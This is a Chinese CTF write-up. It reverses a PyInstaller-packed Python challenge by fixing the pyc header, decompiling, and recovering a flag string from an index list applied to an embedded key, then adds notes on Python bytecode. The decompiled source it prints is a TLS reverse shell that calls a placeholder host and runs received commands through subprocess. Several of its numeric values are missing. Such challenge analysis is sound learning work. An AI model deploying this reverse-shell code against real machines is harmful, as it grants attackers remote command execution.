现在CTF太卷了,已经跟不上时代的发展了,还是要好好学习。
昨天看了个MISC的题目,今天找到了writeup,对照着复现一下。
题目的名称是gwb-misc3-testcat
要是想复现的话后台回复
gwb-misc3-testcat
获得题目的源文件
目测是个python程序打包生成的exew文件
有下面一个参考的文档,对着照做一下
https://www.jianshu.com/p/5871c3dd633b
使用这个项目还原一下
https://github.com/extremecoders-re/pyinstxtractor
1638860562273
得到了这些 其中有个1.pyc比较重要
1638860650675
通过这两个网站可以反编译pyc文件
显示有问题
1638861773741
上网搜集一下
1
并不是标准的pyc
文件没有文件头
利用二进制编辑工具把pyc文件的头E3改为55就可以了
得到源码
#!/usr/bin/env python
# visit https://tool.lu/pyc/ for more information
import socket
import subprocess
import os
import ssl
import socket, subprocess, os, ssl
def o0Ooo00o0o():
global domain
global port
global s
global ssls
global xxx
try:
domain = 'wh47.ju5tf0r.test'
port =
s = socket.socket()
ssls = ssl.wrap_socket(s, ssl_version=(ssl.PROTOCOL_TLSv1_2))
xxx = [, , , , , , , , , , , , ,
, , , , , , , , , , , , , , ]
except socket.error as lll11ll1ll1l1lll1lll1l:
try:
try:
try:
print(str(lll11ll1ll1l1lll1lll1l))
finally:
lll11ll1ll1l1lll1lll1l = None
del lll11ll1ll1l1lll1lll1l
finally:
lll11ll1ll1l1lll1lll1l = None
del lll11ll1ll1l1lll1lll1l
finally:
lll11ll1ll1l1lll1lll1l = None
del lll11ll1ll1l1lll1lll1l
def o0o0oo0oO0():
try:
yyy = '--- BEGIN PRIVATE KEY ---\t\tb3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW'
yyy += '\t\tQyNTUxOQAAACCKvwHFw4alzEkncA+lDf3VeQ2ZNjX7gur4TzJFQlSgRwAAAJA8ULvmPFC7'
yyy += '\t\t5gAAAAtzc2gtZWQyNTUxOQAAACCKvwHFw4alzEkncA+lDf3VeQ2ZNjX7gur4TzJFQlSgRw'
yyy += '\t\tAAAEAMNUtG4HZ42kMsON1XY/y1lGyPns8JB6JYwi936VUuz4q/AcXDhqXMSSdwD6UN/dV5'
yyy += '\t\tDZk2NfuC6vhPMkVCVKBHAAAACXJvb3RAa2FsaQECAwQ=\t\t--- END PRIVATE KEY ---'
ssls.connect((domain, port))
ssls.send(str.encode(str(os.getcwd()) + '<' + ''.join([yyy[_] for _ in xxx]) + '>' + ' > '))
except socket.error as lll11lllll1l1l1l1lll1l:
try:
try:
try:
print(str(lll11lllll1l1l1l1lll1l))
finally:
lll11lllll1l1l1l1lll1l = None
del lll11lllll1l1l1l1lll1l
finally:
lll11lllll1l1l1l1lll1l = None
del lll11lllll1l1l1l1lll1l
finally:
lll11lllll1l1l1l1lll1l = None
del lll11lllll1l1l1l1lll1l
def oOo0Oo00O0():
l1llllll11lll1l1l1lll1 = ssls.recv()
l1llllll11lll1l1l1lll1 = l1llllll11lll1l1l1lll1.decode('utf-8').strip()
print('received ' + l1llllll11lll1l1l1lll1)
if l1llllll11lll1l1l1lll1[:] == 'cd':
os.chdir(l1llllll11lll1l1l1lll1[:])
ssls.send(str.encode(str(os.getcwd()) + ' > '))
elif len(l1llllll11lll1l1l1lll1) > :
l1lll1l1lll1lll11llll1 = subprocess.Popen(l1llllll11lll1l1l1lll1, True, subprocess.PIPE, subprocess.PIPE, subprocess.PIPE, **('shell', 'stdout', 'stderr', 'stdin'))
l11lll1ll11ll1ll11lll1 = l1lll1l1lll1lll11llll1.stdout.read() + l1lll1l1lll1lll11llll1.stderr.read()
l1111ll1lllll1ll11l1l1 = str(l11lll1ll11ll1ll11lll1.decode('utf-8'))
ssls.send(str.encode(l1111ll1lllll1ll11l1l1 + str(os.getcwd()) + ' > '))
if len(l1111ll1lllll1ll11l1l1.split('\n')) > :
lll11ll1lllll1ll11l1l1 =
else:
lll11ll1lllll1ll11l1l1 =
print('Sent: ' + lll11ll1lllll1ll11l1l1 * '\n' + l1111ll1lllll1ll11l1l1)
if not l1llllll11lll1l1l1lll1:
pass
s.close()
def main():
o0Ooo00o0o()
o0o0oo0oO0()
oOo0Oo00O0()
if __name__ == '__main__':
main()
这里需要说明一下,两个网站修复的内容不一样,刚好互补得到完整的代码
核心代码在这里
try:
yyy = '--- BEGIN PRIVATE KEY ---\t\tb3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW'
yyy += '\t\tQyNTUxOQAAACCKvwHFw4alzEkncA+lDf3VeQ2ZNjX7gur4TzJFQlSgRwAAAJA8ULvmPFC7'
yyy += '\t\t5gAAAAtzc2gtZWQyNTUxOQAAACCKvwHFw4alzEkncA+lDf3VeQ2ZNjX7gur4TzJFQlSgRw'
yyy += '\t\tAAAEAMNUtG4HZ42kMsON1XY/y1lGyPns8JB6JYwi936VUuz4q/AcXDhqXMSSdwD6UN/dV5'
yyy += '\t\tDZk2NfuC6vhPMkVCVKBHAAAACXJvb3RAa2FsaQECAwQ=\t\t--- END PRIVATE KEY ---'
ssls.connect((domain, port))
ssls.send(str.encode(str(os.getcwd()) + '<' + ''.join([yyy[_] for _ in xxx]) + '>' + ' > '))
xxx是
xxx = [358, 118, 30, 43, 127, 5, 282, 133, 56, 43, 116, 68, 68,
147, 96, 13, 130, 4, 15, 35, 297, 57, 36, 83, 38, 93, 40, 147]
这样得到一个字符串
%x+0%!i0_UbP@Wfz!>v^
是个图片
然后图片隐写基本操作得到flag
1638863979784
python的执行原理
Python test.py会对test.py进行编译成字节码并解释执行,但是不会生成test.pyc。如果test.py加载了其他模块,如import util,Python会对util.py进行编译成字节码,生成util.pyc,然后对字节码解释执行。 如果想生成test.pyc,我们可以使用Python内置模块py_compile来编译。加载模块时,如果同时存在.py和.pyc,Python会尝试使用.pyc,如果.pyc的编译时间早于.py的修改时间,则重新编译.py并更新.pyc。
数据结构
typedef struct {
PyObject_HEAD
int co_argcount; /* 位置参数个数 */
int co_nlocals; /* 局部变量个数 */
int co_stacksize; /* 栈大小 */
int co_flags;
PyObject *co_code; /* 字节码指令序列 */
PyObject *co_consts; /* 所有常量集合 */
PyObject *co_names; /* 所有符号名称集合 */
PyObject *co_varnames; /* 局部变量名称集合 */
PyObject *co_freevars; /* 闭包用的的变量名集合 */
PyObject *co_cellvars; /* 内部嵌套函数引用的变量名集合 */
/* The rest doesn’t count for hash/cmp */
PyObject *co_filename; /* 代码所在文件名 */
PyObject *co_name; /* 模块名|函数名|类名 */
int co_firstlineno; /* 代码块在文件中的起始行号 */
PyObject *co_lnotab; /* 字节码指令和行号的对应关系 */
void *co_zombieframe; /* for optimization only (see frameobject.c) */
} PyCodeObject;
https://www.jianshu.com/p/5871c3dd633b
https://github.com/extremecoders-re/pyinstxtractor
https://tool.lu/pyc/
https://www.toolnb.com/tools/pyc.html
https://www.jianshu.com/p/4dab25c163c4